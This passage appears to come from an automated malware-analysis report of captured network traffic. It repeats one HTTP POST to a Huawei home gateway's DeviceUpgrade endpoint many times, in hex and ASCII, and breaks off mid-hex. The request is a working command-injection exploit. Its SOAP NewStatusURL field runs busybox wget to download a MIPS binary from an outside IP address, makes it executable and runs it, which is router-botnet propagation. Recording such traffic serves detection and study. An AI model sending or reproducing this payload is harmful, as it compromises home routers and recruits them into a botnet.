30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 